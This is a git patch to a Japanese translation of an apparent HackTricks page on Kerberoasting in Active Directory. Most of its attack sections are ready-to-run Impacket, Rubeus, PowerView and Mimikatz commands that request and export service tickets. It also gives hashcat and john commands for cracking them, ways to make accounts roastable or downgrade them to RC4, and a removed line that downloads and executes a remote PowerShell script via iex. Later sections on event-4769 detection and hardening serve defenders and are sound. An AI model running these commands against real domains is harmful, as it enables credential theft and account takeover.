From 0469755d2315fe86e597f6283030009a99779c43 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 16:17:21 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/kerberoa --- .../kerberoast.md | 339 ++++++++++-------- 1 file changed, 191 insertions(+), 148 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 138445d93..e5141fd76 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -4,172 +4,215 @@ ## Kerberoast -Kerberoastingは、**Active Directory (AD)**内の**ユーザーアカウント**に関連する**TGSチケット**の取得に焦点を当てており、**コンピューターアカウント**は除外されます。これらのチケットの暗号化には**ユーーパスワード**から派生したキーが使用されており、**オフラインの資格情報クラッキング**の可能性があります。ユーザーアカウントがサービスとして使用されていることは、非空の**"ServicePrincipalName"**プロパティによって示されます。 +Kerberoastingは、Active Directory (AD) のユーザーアカウントに関連するサービスに特に関連するTGSチケットの取得に焦点を当てています。コンピューターアカウントは除外されます。これらのチケットの暗号化は、ユーザーパスワードから派生したキーを使用しており、オフラインでの資格情報クラックが可能です。ユーザーアカウントをサービスとして使用することは、非空のServicePrincipalName (SPN) プロパティによって示されます。 -**Kerberoasting**を実行するには、**TGSチケット**を要求できるドメインアカウントが必要ですが、このプロセスには**特別な権限**は必要なく、**有効なドメイン資格情報**を持つ誰でもアクセス可能です。 +認証されたドメインユーザーは誰でもTGSチケットを要求できるため、特別な権限は必要ありません。 -### キーポイント: +### Key Points -- **Kerberoasting**は**AD**内の**ユーザーアカウントサービス**の**TGSチケット**をターゲットにします。 -- **ユーザーパスワード**からのキーで暗号化されたチケットは**オフラインでクラッキング**可能です。 -- サービスは、nullでない**ServicePrincipalName**によって識別されます。 -- **特別な権限**は不要で、**有効なドメイン資格情報**のみが必要です。 - -### **攻撃** +- ユーザーアカウント(すなわち、SPNが設定されたアカウント)で実行されるサービスのTGSチケットをターゲットにします(コンピューターアカウントではありません)。 +- チケットはサービスアカウントのパスワードから派生したキーで暗号化されており、オフラインでクラック可能です。 +- 権限の昇格は不要で、認証されたアカウントは誰でもTGSチケットを要求できます。 > [!WARNING] -> **Kerberoastingツール**は、攻撃を実行しTGS-REQリクエストを開始する際に通常**`RC4暗号`**を要求します。これは、**RC4が** [**より弱い**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795)ため、AES-128やAES-256などの他の暗号アルゴリズムよりもHashcatなどのツールを使用してオフラインでクラッキングしやすいからです。\ -> RC4(タイプ23)ハッシュは**`$krb5tgs$23$*`**で始まり、AES-256(タイプ18)は**`$krb5tgs$18$*`**で始まります。\ -> さらに、`Rubeus.exe kerberoast`は、すべての脆弱なアカウントに対して自動的にチケットを要求するため、検出される可能性があります。まず、興味深い権限を持つkerberoastableユーザーを見つけてから、それらに対してのみ実行してください。 -```bash +> ほとんどの公開ツールは、AESよりもクラックが速いため、RC4-HMAC(etype 23)サービスチケットの要求を好みます。RC4 TGSハッシュは`$krb5tgs$23$*`で始まり、AES128は`$krb5tgs$17$*`、AES256は`$krb5tgs$18$*`で始まります。しかし、多くの環境はAES専用に移行しています。RC4だけが関連しているとは考えないでください。 +> また、「スプレーアンドプレイ」ロースティングは避けてください。Rubeusのデフォルトのkerberoastは、すべてのSPNのチケットを照会および要求でき、ノイズが多いです。まずは興味深いプリンシパルを列挙してターゲットにしてください。 -#### **Linux** - -```bash -# Metasploit framework -msf> use auxiliary/gather/get_user_spns -# Impacket -GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # パスワードが求められます -GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast -# kerberoast: https://github.com/skelsec/kerberoast -kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. kerberoastableユーザーを列挙する -kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. ハッシュをダンプする -``` - -Multi-features tools including a dump of kerberoastable users: - -```bash -# ADenum: https://github.com/SecuProject/ADenum -adenum -d -ip -u -p -c -``` - -#### Windows - -- **Enumerate Kerberoastable users** - -```bash -# Kerberoastableユーザーを取得 -setspn.exe -Q */* #これは組み込みのバイナリです。ユーザーアカウントに注目してください -Get-NetUser -SPN | select serviceprincipalname #Powerview -.\Rubeus.exe kerberoast /stats -``` - -- **Technique 1: Ask for TGS and dump it from memory** - -```bash -#メモリ内の単一ユーザーからTGSを取得 -Add-Type -AssemblyName System.IdentityModel -New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #例: MSSQLSvc/mgmt.domain.local - -#すべてのkerberoastableアカウントのTGSを取得(PCを含む、あまり賢くない) -setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } - -#メモリ内のkerberosチケットをリスト -klist - -#メモリからそれらを抽出 -Invoke-Mimikatz -Command '"kerberos::list /export"' #チケットを現在のフォルダーにエクスポート - -# kirbiチケットをjohnに変換 -python2.7 kirbi2john.py sqldev.kirbi -# johnをhashcatに変換 -sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat -``` - -- **Technique 2: Automatic tools** - -```bash -# Powerview: ユーザーのKerberoastハッシュを取得 -Request-SPNTicket -SPN "" -Format Hashcat #PowerViewを使用 Ex: MSSQLSvc/mgmt.domain.local -# Powerview: すべてのKerberoastハッシュを取得 -Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation - -# Rubeus -.\Rubeus.exe kerberoast /outfile:hashes.kerberoast -.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #特定のユーザー -.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #管理者を取得 - -# Invoke-Kerberoast -iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") -Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast -``` - -> [!WARNING] -> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated. - -### Cracking - -```bash -john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast -hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt -./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -``` - -### Persistence - -If you have **enough permissions** over a user you can **make it kerberoastable**: - -```bash -Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose -``` - -You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) - -If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: - -- `ntpdate ` - Deprecated as of Ubuntu 16.04 -- `rdate -n ` - -### Mitigation - -Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities: - -- The service name should not be **krbtgt**, as this is a normal request. -- Service names ending with **$** should be excluded to avoid including machine accounts used for services. -- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**. -- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**. -- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks. - -```bash -Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message -``` - -To mitigate the risk of Kerberoasting: - -- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**. -- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks. - -By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting. - -## Kerberoast w/o domain account - -In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT). - -The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). - -> [!WARNING] -> You must provide a list of users because we don't have a valid account to query the LDAP using this technique. +### Attack #### Linux - -- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413): - ```bash -GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ -``` +# Metasploit Framework +msf> use auxiliary/gather/get_user_spns +# Impacket — request and save roastable hashes (prompts for password) +GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast +# With NT hash +GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast +# Target a specific user’s SPNs only (reduce noise) +GetUserSPNs.py -request-user -dc-ip / + +# kerberoast by @skelsec (enumerate and roast) +# 1) Enumerate kerberoastable users via LDAP +kerberoast ldap spn 'ldap+ntlm-password://\\:@' -o kerberoastable +# 2) Request TGS for selected SPNs and dump +kerberoast spnroast 'kerberos+password://\\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes +``` +マルチ機能ツールには、kerberoast チェックが含まれています: +```bash +# ADenum: https://github.com/SecuProject/ADenum +adenum -d -ip -u -p -c +``` #### Windows -- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139): +- Kerberoastable ユーザーを列挙する +```powershell +# Built-in +setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($) -```bash -Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" +# PowerView +Get-NetUser -SPN | Select-Object serviceprincipalname + +# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.) +.\Rubeus.exe kerberoast /stats ``` +- テクニック 1: TGSを要求し、メモリからダンプする +```powershell +# Acquire a single service ticket in memory for a known SPN +Add-Type -AssemblyName System.IdentityModel +New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "" # e.g. MSSQLSvc/mgmt.domain.local -## References +# Get all cached Kerberos tickets +klist + +# Export tickets from LSASS (requires admin) +Invoke-Mimikatz -Command '"kerberos::list /export"' + +# Convert to cracking formats +python2.7 kirbi2john.py .\some_service.kirbi > tgs.john +# Optional: convert john -> hashcat etype23 if needed +sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat +``` +- 技術 2: 自動ツール +```powershell +# PowerView — single SPN to hashcat format +Request-SPNTicket -SPN "" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast +# PowerView — all user SPNs -> CSV +Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation + +# Rubeus — default kerberoast (be careful, can be noisy) +.\Rubeus.exe kerberoast /outfile:hashes.kerberoast +# Rubeus — target a single account +.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast +# Rubeus — target admins only +.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap +``` +> [!WARNING] +> TGSリクエストはWindowsセキュリティイベント4769(Kerberosサービスチケットが要求されました)を生成します。 + +### OPSECおよびAES専用環境 + +- AESのないアカウントに対して意図的にRC4を要求します: +- Rubeus: `/rc4opsec`はtgtdelegを使用してAESのないアカウントを列挙し、RC4サービスチケットを要求します。 +- Rubeus: `/tgtdeleg`はkerberoastとともに可能な限りRC4リクエストをトリガーします。 +- 静かに失敗するのではなく、AES専用アカウントをローストします: +- Rubeus: `/aes`はAESが有効なアカウントを列挙し、AESサービスチケット(etype 17/18)を要求します。 +- すでにTGT(PTTまたは.kirbiから)を保持している場合は、`/ticket:`を`/spn:`または`/spns:`とともに使用してLDAPをスキップできます。 +- ターゲティング、スロットリング、ノイズを減らす: +- `/user:`、`/spn:`、`/resultlimit:`、`/delay:`、および`/jitter:<1-100>`を使用します。 +- `/pwdsetbefore:`(古いパスワード)を使用して、可能性のある弱いパスワードをフィルタリングするか、`/ou:`で特権OUをターゲットにします。 + +例(Rubeus): +```powershell +# Kerberoast only AES-enabled accounts +.\Rubeus.exe kerberoast /aes /outfile:hashes.aes +# Request RC4 for accounts without AES (downgrade via tgtdeleg) +.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4 +# Roast a specific SPN with an existing TGT from a non-domain-joined host +.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local +``` +### クラッキング +```bash +# John the Ripper +john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast + +# Hashcat +# RC4-HMAC (etype 23) +hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt +# AES128-CTS-HMAC-SHA1-96 (etype 17) +hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt +# AES256-CTS-HMAC-SHA1-96 (etype 18) +hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt +``` +### Persistence / Abuse + +アカウントを制御または変更できる場合、SPNを追加することでそのアカウントをkerberoastableにすることができます: +```powershell +Set-DomainObject -Identity -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose +``` +アカウントをダウングレードしてRC4を有効にし、クラックを容易にする(ターゲットオブジェクトに対する書き込み権限が必要): +```powershell +# Allow only RC4 (value 4) — very noisy/risky from a blue-team perspective +Set-ADUser -Identity -Replace @{msDS-SupportedEncryptionTypes=4} +# Mixed RC4+AES (value 28) +Set-ADUser -Identity -Replace @{msDS-SupportedEncryptionTypes=28} +``` +ここでkerberoast攻撃に役立つツールを見つけることができます: https://github.com/nidem/kerberoast + +Linuxからこのエラーが表示された場合: `Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)`、これはローカル時間のずれが原因です。DCに同期してください: + +- `ntpdate ` (一部のディストリビューションでは非推奨) +- `rdate -n ` + +### 検出 + +Kerberoastingは隠密に行われる可能性があります。DCからのイベントID 4769を探し、フィルターを適用してノイズを減らします: + +- サービス名 `krbtgt` と `$` で終わるサービス名(コンピュータアカウント)を除外します。 +- マシンアカウントからのリクエスト(`*$$@*`)を除外します。 +- 成功したリクエストのみ(失敗コード `0x0`)。 +- 暗号化タイプを追跡します: RC4 (`0x17`)、AES128 (`0x11`)、AES256 (`0x12`)。`0x17` のみでアラートを出さないでください。 + +例のPowerShellトリアージ: +```powershell +Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 | +Where-Object { +($_.Message -notmatch 'krbtgt') -and +($_.Message -notmatch '\$$') -and +($_.Message -match 'Failure Code:\s+0x0') -and +($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and +($_.Message -notmatch '\$@') +} | +Select-Object -ExpandProperty Message +``` +追加のアイデア: + +- ホスト/ユーザーごとの正常なSPN使用のベースラインを設定し、単一のプリンシパルからの異なるSPNリクエストの大きなバーストに警告を出す。 +- AES強化ドメインでの異常なRC4使用をフラグ付けする。 + +### 緩和 / ハードニング + +- サービス用にgMSA/dMSAまたはマシンアカウントを使用する。管理されたアカウントは120文字以上のランダムなパスワードを持ち、自動的にローテーションされるため、オフラインでのクラッキングは実用的ではない。 +- サービスアカウントに対してAESを強制するために、`msDS-SupportedEncryptionTypes`をAES専用(10進数24 / 16進数0x18)に設定し、その後パスワードをローテーションしてAESキーを導出する。 +- 可能な限り、環境内でRC4を無効にし、RC4使用の試みを監視する。DCでは、`msDS-SupportedEncryptionTypes`が設定されていないアカウントのデフォルトを制御するために、`DefaultDomainSupportedEncTypes`レジストリ値を使用できる。徹底的にテストする。 +- ユーザーアカウントから不要なSPNを削除する。 +- 管理されたアカウントが実現不可能な場合は、長くランダムなサービスアカウントのパスワード(25文字以上)を使用し、一般的なパスワードを禁止し、定期的に監査する。 + +### ドメインアカウントなしのKerberoast(AS要求ST) + +2022年9月、チャーリー・クラークは、プリンシパルが事前認証を必要としない場合、リクエストボディ内のsnameを変更することで、KRB_AS_REQを介してサービスチケットを取得できることを示しました。これにより、TGTの代わりにサービスチケットを取得することができます。これはAS-REPロースティングに似ており、有効なドメイン資格情報は必要ありません。 + +詳細は、Semperisの「新しい攻撃パス: AS要求ST」を参照してください。 + +> [!WARNING] +> 有効な資格情報がないとLDAPをクエリできないため、ユーザーのリストを提供する必要があります。 + +Linux + +- Impacket (PR #1413): +```bash +GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/ +``` +Windows + +- Rubeus (PR #139): +```powershell +Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE +``` +関連 + +AS-REP ロースト可能なユーザーをターゲットにしている場合は、以下も参照してください: + +{{#ref}} +asreproast.md +{{#endref}} + +## 参考文献 - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled) +- Microsoft Security Blog (2024-10-11) – MicrosoftのKerberoastingを軽減するためのガイダンス: https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/ +- SpecterOps – Rubeus Roasting ドキュメント: https://docs.specterops.io/ghostpack/rubeus/roasting {{#include ../../banners/hacktricks-training.md}}